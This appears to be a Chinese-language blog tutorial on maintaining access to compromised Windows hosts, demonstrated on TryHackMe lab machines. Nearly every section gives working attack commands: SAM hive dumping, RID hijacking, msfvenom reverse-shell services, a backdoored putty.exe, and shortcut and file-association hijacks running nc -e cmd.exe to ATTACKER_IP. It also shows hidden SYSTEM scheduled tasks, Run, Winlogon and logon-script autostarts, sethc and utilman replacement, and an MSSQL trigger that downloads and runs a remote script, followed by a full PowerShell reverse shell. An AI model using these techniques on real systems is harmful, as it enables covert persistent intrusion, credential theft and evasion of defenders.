前言

前些天发了一篇关于Windows权限提升的文章,这一篇算是下文,关于Windows权限维持的。当我们成功在目标机器上获取到了一定的权限,我们就需要考虑权限维持了,该文章所有的操作都默认已经拥有了一定的权限甚至是system权限。

Windows权限维持一般都考虑如下几个方面:用户、服务、文件、软件。具体就是如下几种:

  • 低权限用户篡改
  • Windows服务篡改
  • 隐蔽后门文件
  • 第三方软件利用

接下来就让我详细的讨论一下。

注意:本文章中的演示均借用了tryhackme所提供的靶机,所以不会提供环境配置的相关细节,如果需要实操的建议去买一个tryhackme的会员

低权限用户篡改

通常来说大多数的安全措施都会格外关注管理员、管理员组、者系统用户的情况,所以为了避免我的被踢下线导致权限丢失,我们就可以考虑篡改低权限的用户,使其拥有管理员权限,从而维持我们的权限。

分配组成员资格篡改

直接划入管理员组

让非特权用户获得管理员权限的直接方法是使其成为管理员组的一部分。我们可以通过如下命令实现:

1
net localgroup administrators myuser /add

划入特殊权限组

这种方法看起来比较可疑,因为大部分计算机的用户都是规划好的,如果突然多出了一个用户很容易被察觉。我们可以使用Backup Operators组。此组中的用户没有管理员权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何已配置的DACL。这将允许我们复制 SAM 和 SYSTEM 注册表配置单元的内容,然后我们可以使用这些内容恢复所有用户的密码哈希,从而轻松地升级到任何管理员帐户。具体操作如下:

首先将帐户添加到备份操作员组:

1
net localgroup "Backup Operators" myuser /add

由于这是一个非特权帐户,除非我们将其添加到远程桌面用户( RDP ) 或远程管理用户(WinRM) 组,否则它无法通过 RDPWinRM 连接到计算机。所以我们需要将其放置到远程桌面用户( RDP ) 或远程管理用户(WinRM) 组中。

1
net localgroup "Remote Management Users" myuser /add

设置好后,我们将使用 WinRM 进行下面的操作。如果你现在尝试从攻击者的机器连接,你会发现,即使你属于 Backups Operators 组,你也无法按预期访问所有文件。快速检查一下我们分配的组,就会发现我们属于 Backup Operators 组,但该组已被禁用,执行命令:

1
whoami /groups

img

这是由于用户帐户控制 ( UAC ) 造成的。UAC 实现的功能之一:LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然你可以通过UAC从图形用户会话中提升权限,但如果使用的是 WinRM,那么你将受限于一个没有管理权限的受限访问令牌。

为了能够重新获得用户的管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

img

之后我们就可以将SAM和SYSTEM文件下载到我们的攻击机上了

1
2
3
4
reg save hklm\system system.bak  	#备份system
reg save hklm\sam sam.bak #备份SAM
download system.bak #下载system
download sam.bak #下载SAM

之后我们可以利用诸如:secretsdump的工具,转储所有用户的密码哈希值,最后执行传递哈希以使用管理员权限连接到受害者机器,这样操作后,只要未发现我们设置了特殊权限组的用户,那么即使修改了密码,我们也可以获取到密码的哈希值,达到权限维持的目的。

特殊权限和安全描述符

无需修改任何组成员身份,即可实现与将用户添加到备份操作员组类似的效果。特殊组之所以特殊,是因为操作系统默认为其分配了特定权限。权限仅仅是在系统上执行任务的能力。这些权限包括一些简单的操作,例如拥有关闭服务器的权限,以及一些非常高级的操作,例如:能够获取系统上任何文件的所有权。

对于备份操作员组,它默认分配有以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何现有的DACL 。
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何现有的DACL 。

我们可以将此类权限分配给任何用户,无论其组成员身份如何。具体操作如下:

首先,我们将当前配置导出到临时文件:

1
secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到有关 SeBackupPrivilegeSeRestorePrivilege 的配置行中:

img

我们最终将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:

1
2
3
secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

现在我们应该拥有一个了与任何备份操作员拥有同等权限的用户。但该用户仍然无法通过 WinRM 登录系统,接下来我们来解决这个问题。我们不会将该用户添加到远程管理用户组,而是更改与 WinRM 服务关联的安全描述符,以允许 thmuser2 用户进行连接。可以将安全描述符视为应用于其他系统设施的ACL 。

为了添加thmuser2拥有远程访问权限,我们需要执行如下命令:

1
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

在GUI中添加thmuser2用户并设置为完全控制。

img

之后我们就可以利用winRM进行远程连接了,由于用户拥有 SeBackupSeRestore 权限,我们可以重复上述步骤,从 SAM 恢复密码哈希,并重新连接到管理员用户。如果你检查用户的组成员身份,你会发现它看起来像一个普通用户。

注意:要使该用户充分使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,但我们之前已经完成此操作,这里不再重复操作。

RID劫持

无需成为管理员即可获得管理权限的另一种方法是更改某些注册表值,让操作系统认为你是管理员。

创建用户时,会为其分配一个称为相对 ID (RID)的标识符。RID 只是一个代表用户在系统中的数字标识符。用户登录时,LSASS 进程会从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们能够篡改注册表值,就能通过将相同的 RID 关联到两个帐户,让 Windows 为非特权用户分配管理员访问令牌。

在任何 Windows 系统中,默认管理员帐户分配的RID = 500,而普通用户的RID 通常为 >= 1000。

要查找任何用户的分配的 RID,可以使用以下命令:

1
wmic useraccount get name,sid

RID 是 SID 的最后一位(thmuser3 为 1010,Administrator 为 500)。SID 是一个标识符,允许操作系统跨域识别用户。这个不在本文的讨论范畴,所以不做赘述。

现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAMSAM 仅限 SYSTEM 帐户使用,因此即使是管理员也无法编辑它。要以 SYSTEM 帐户运行 Regedit,我们将使用C:\tools\pstools计算机上提供的 psexec

1
PsExec64.exe -i -s regedit

Regedit 中,我们将找到HKLM\SAM\SAM\Domains\Account\Users\计算机中每个用户对应的键。由于我们想要修改 thmuser3,因此需要搜索一个键,其 RID 为十六进制 (1010 = 0x3F2)。在相应的键下,会有一个名为F的值,它在位置 0x30 处保存着用户的有效 RID

img

注意:RID 采用小端表示法存储,因此其字节显示为反转。

现在,我们将用十六进制的管理员 RID(500 = 0x01F4)替换这两个字节,并交换字节(F401):

img

下次登录时,LSASS 会将其与管理员相同的 RID 关联,并授予其相同的权限。

Windows服务

篡改Windows服务也可以作为我们权限维持的一种方式,因为它们可以配置为在受害计算机启动时在后台运行。如果我们可以利用任何服务为我们运行某些程序,那么我们就可以在每次受害计算机启动时重新获得对它的控制权。

Windows服务本质上是在后台运行的可执行文件。配置服务时,需要定义要使用的可执行文件,并选择服务是在计算机启动时自动运行还是手动启动。

主要有两种方式可以利用Windows服务进行权限维持:创建新的服务或者修改现有服务。

创建新的服务

我们可以使用以下命令创建并启动名为“THMservice”的服务:

1
2
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

注意:为了使命令起作用,每个等号后面必须有一个空格。

服务启动时将执行“net user”命令,将管理员密码重置为Passwd123。该服务已设置为自动启动 (start= auto),因此无需用户交互即可运行。

重置用户密码已经足够进行权限维持,但我们也可以使用 msfvenom 创建反弹 shell,并将其与创建的服务关联起来。不过需要注意的是,服务可执行文件必须具备唯一性,因为它们需要实现系统需要处理的特定协议。如果要创建与 Windows 服务兼容的可执行文件,可以使用msfvenom 中的exe-service格式:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

将可执行文件上传到目标系统,并将服务的可执行binpath指向可执行文件:

1
2
sc.exe create THMservice2 binPath= "可执行文件路径" start= auto
sc.exe start THMservice2

篡改现有服务

即使创建一个新的服务用于权限维持效果很好,但是蓝队可能会监控整个网络中新服务的创建情况。所以我们希望可以修改现有的服务,而不是创建一个新的服务,实现检测规避。通常来说,被禁用的服务是一个不错的选择,因为用户长期不使用,所以不会注意到他已经被更改了。

可通过如下命令来查询可用的服务列表:

1
sc.exe query state=all

利用Windows服务进行权限维持,我们需要注意三点:

  • 可执行文件,应当指向我们的payload
  • 服务的start_type应当是auto,以便于我们无需用户交互就可直接运行payload
  • service_start_name 时运行该服务的账户,应当设置为Localsystem,便于获取system权限

先创建一个payload

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

然后可以通过如下命令修改服务的参数

1
sc.exe config THMservice3 binPath= "路径" start= auto obj= "LocalSystem"

之后启动服务,让其执行可执行文件即可。

后门文件

权限维持的方法还有篡改一些用户经常使用的文件。通过修改这些文件我们可以植入后门,这些后门会在用户访问时执行。由于我们不想引发任何可能暴露我们身份的警报,因此我们修改的文件必须能够按预期为用户提供服务。

可执行文件

如果你在桌面上发现任何可执行文件,那么用户很可能经常使用它。假设我们发现一个 PuTTY 的快捷方式。如果我们检查快捷方式的属性,就会发现它(通常)指向C:\Program Files\PuTTY\putty.exe。这样,我们就可以将该可执行文件下载到攻击者的机器上,并对其进行修改,使其运行我们想要的任何有效载荷。

你可以使用msfvenom在任何 .exe 文件中植入你所需的有效载荷。二进制文件仍将照常运行,但通过在二进制文件中添加额外的线程,可以静默执行额外的有效载荷。要创建带有后门的 putty.exe,我们可以使用以下命令:

1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不知情的情况下执行 reverse_tcp meterpreter有效载荷。虽然这种方法足以实现权限维持,不过依旧不够隐蔽,让我们看看其他更隐蔽的技术。

快捷方式

如果我们不想修改可执行文件,我们可以篡改快捷方式文件本身。与其直接指向预期的可执行文件,不如将其改为指向一个脚本,该脚本会运行后门,然后正常执行常规程序。

在劫持快捷方式的目标之前,让我们在或其他任何隐蔽的位置创建一个简单的Powershell脚本。该脚本将执行反弹 shell,然后从快捷方式属性中的原始位置运行 calc.exe

1
2
3
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将快捷方式更改为指向我们的脚本。请注意,执行此操作时快捷方式的图标可能会自动调整。请确保将图标重新指向原始可执行文件的图标,以免用户看到任何可见的更改。我们还希望在隐藏窗口中运行脚本,为此我们将向Powershell -windowstyle hidden添加选项。快捷方式的最终结果是:

1
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

劫持关联文件

操作系统默认的文件关联保存在注册表中,注册表项中为 下的每种文件类型都存储一个键HKLM\Software\Classes\。假设我们想检查哪个程序用于打开 .txt 文件;我们可以直接检查.txt子键,并找到与之关联的程序 ID (ProgID) 。ProgID 只是系统中已安装程序的标识符。对于 .txt 文件,我们将获得以下 ProgID

img

然后,我们可以搜索相应 ProgID 的子键(也在下HKLM\Software\Classes\),在本例中是 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目都会有一个子键,在该子键下shell\open\command指定了针对该扩展名的文件运行的默认命令:

img

在这种情况下,当尝试打开 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1表示打开的文件名。如果我们想要劫持此扩展程序,可以将该命令替换为一个脚本,该脚本会执行后门,然后照常打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1

1
2
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

注意,在Powershell中,我们必须传递$args[0]给记事本,因为它包含将要打开的文件的名称。

现在让我们更改注册表项以在隐藏窗口中运行后门脚本:

img

1
powershell -windowstyle hidden 路径 %1

计划任务

这里的思路和Windows服务差不多,都是修改可执行文件为我们的可执行文件实现权限维持。

Windows内置计划任务程序

计划任务最常见的就是Windows内置的计划任务程序,计划任务程序可以精细地控制任务的启动时间,可以配置在特定时间激活、定期重复执行,甚至在发生特定系统事件时触发的任务。

我们创建一个每分钟运行一次反弹shell的任务。在实际场景中,payload不会运行得如此频繁,这只是为了节省时间。我们通过如下命令创建计划任务并进行反弹shell

1
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

上述命令将创建一个“ THM -TaskBackdoor”任务, 执行nc并向攻击者执行反弹shell/sc/mo选项表示该任务每分钟运行一次。/ru选项表示该任务将以 SYSTEM 权限运行。

可以通过如下命令检查是否创建成功:

1
schtasks /query /tn tasknam

隐藏计划任务

虽然我们的计划任务已经成功执行,并且回弹了shell,但是有一个问题。当用户尝试列出计划任务,我们的后门就会暴露出来,为了进一步隐蔽我们的行踪,我们需要隐藏我们的计划任务。我们可以通过删除计划任务的安全描述符(SD)使这个任务对任何用户都不可见。安全描述符就是一个ACL,它声明了那些用户有权访问该任务,假设没有权限自然无法查询到这个任务。删除SD相当于禁止所有用户(包括管理员)访问该计划任务。

所有计划任务的安全描述符都存储在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\。每个任务都有一个注册表项,该项下名为“SD”的值包含安全描述符。只有拥有 SYSTEM 权限才能删除该值。

为了隐藏我们创建的计划任务,我们需要删除之前创建的任务的SD值。

img

这里已经删除了。再次查询就会提示没有这个任务

1
schtasks /query /tn thm-taskbackdoor

img

但反弹shell仍然会正常回弹。

登录触发权限维持

Windows的某些配置会在启动时执行特定目录下的可执行文件,我们可以利用这一点实现权限维持。

启动文件夹

每个用户都有一个文件夹,C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup将可执行文件放入其中,用户登录时会运行。攻击者只需在其中投放payload即可实现权限维持。请注意,每个用户只会运行其文件夹中可用的内容。

假设我们希望所有用户登陆时都会执行我们的payload,可以将payload放在C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp,所有用户登陆时都会执行我们投放的payload

我们先生成一个有效的payload

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

上传到靶机后将payload移动到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp当有账号登陆时就会执行我们的payload

启动项

可以通过注册表强制用户在登录时执行某个程序。使用以下注册表项来指定登录时运行的应用程序,而不是将有效载荷传递到特定目录:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

注册表项HKCU仅适用于当前用户,而 下的注册表项HKLM适用于所有人。Run键下指定的任何程序都会在用户每次登录时运行。RunOnce键下指定的程序只会执行一次。

我们继续使用之前创建的payload即可,上传到目标机器后,我们将payload移动到C:\Windows\

之后我们在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run中创建一个项,指定他的data为我们要执行的payload即可。

Winlogon

登陆时自启动的另一种方法是Winlogon,它是在身份验证后立即加载用户配置文件以及其他功能的 Windows 组件。

我们使用注册表HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\中的项实现权限维持:

  • Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的shell,通常是explorer.exe

如果我们直接用payload替换掉可执行文件,就会破坏登录程序,这不是我们所期望的,但是我们可以利用逗号实现分割命令,Winlogon会执行所有的命令。

还是使用我们之前创建好的payload。上传到靶机后,移动到C:\Windows下,然后我们去修改注册表HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\中的shell或者Userinit即可,示例如下:

1
C:\Windows\system32\userinit.exe,C:\Windows\shell.exe

下次登陆时就会执行我们的payload了。

登陆脚本

加载用户配置文件时,userinit.exe会检查名为UserInitMprLogonScript的环境变量。我们可以设置此环境变量为用户分配登录脚本,该脚本将在用户登录计算机时运行。该变量默认未设置,因此我们可以创建它并设置为任何我们想要的脚本。

上传payload后,依旧移动到C:\Windows。修改注册表HKCU\Environment,我们修改其中的UserInitMprLogonScript项,指向我们的payload,示例如下:

img

登录页面后门

如果我们可以物理访问机器(或者是RDP),那么您可以在没有机器有效凭证的情况下通过后门访问登录屏幕来访问终端。

下面给出两种方法:

粘滞键

当我们按下五次shift后,系统会默认执行C:\Windows\System32\sethc.exe,假设我们将其替换为我们的payload就可以实现通过快捷键触发他。一种直接在登录页面出发命令行的方法就是将sethc.exe替换为cmd.exe

要覆盖sethc.exe,我们首先需要取得该文件的所有权,并授予当前用户修改它的权限。只有这样,我们才能用 的副本替换它cmd.exe。我们可以使用以下命令执行此操作:

1
2
3
4
5
takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
#获取权限
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
#覆盖sethc

Utilman

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项,当我们点击登录屏幕上的轻松访问按钮时,它会C:\Windows\System32\Utilman.exe以 SYSTEM 权限执行。如果我们将其替换为cmd.exe的副本,我们就可以再次绕过登录屏幕。

为了替换utilman.exe,我们执行了与sethc.exe类似的过程

1
2
3
4
5
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
#获取权限
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
#替换

回到登陆界面后我们点击右下角的轻松访问即可直接以system权限打开命令行。

第三方服务

利用第三方服务实现权限维持的方法极其多样,这里只列举出最简单、常见的两种。

Webshell

在web服务中实现权限维持最简单的方式就是上传webshell,只需要上传一个webshell即可获取到web用户的权限。这种方式非常简单,这里就不做赘述了。

MSSQL

在MSSQLserver中植入后门方法很多,我们先讨论其中一种利用监听器的方法。简而言之, MSSQL 中的触发器允许您绑定数据库中发生特定事件时要执行的操作。这些事件可以是用户登录,也可以是插入、更新或删除给定表中的数据。我们将为HRDB数据库中的任何 INSERT 操作创建一个触发器。

启动MSSQL后,我们执行如下的SQL语句:

启用MSSQL配置中的“高级选项”,并启用xp_cmdshell

1
2
3
4
5
6
7
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

此外,我们必须确保任何访问数据库的网站都可以运行xp_cmdshell。默认情况下,只有具有sysadmin角色的数据库用户才能执行此操作。由于预计 Web 应用程序将使用受限的数据库用户,因此我们可以向所有用户授予权限sa,以模拟该用户(即默认数据库管理员)

1
2
3
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

完成后我们就配置好了一个触发器,切换到HRDB数据库

1
USE HRDB

我们的触发器将利用Powershell从攻击者控制的 Web 服务器 xp_cmdshell下载并运行文件。该触发器将配置为在数据库表中写入以下内容时执行:.ps1 INSERT Employees HRDB

1
2
3
4
5
6
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

现在后门已经设置好了,让我们在攻击者的机器中创建一个包含Powershell反弹 shell 的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

之后访问WEB页面,当执行了插入的SQL语句时,他就会下载反弹shell的文件并执行。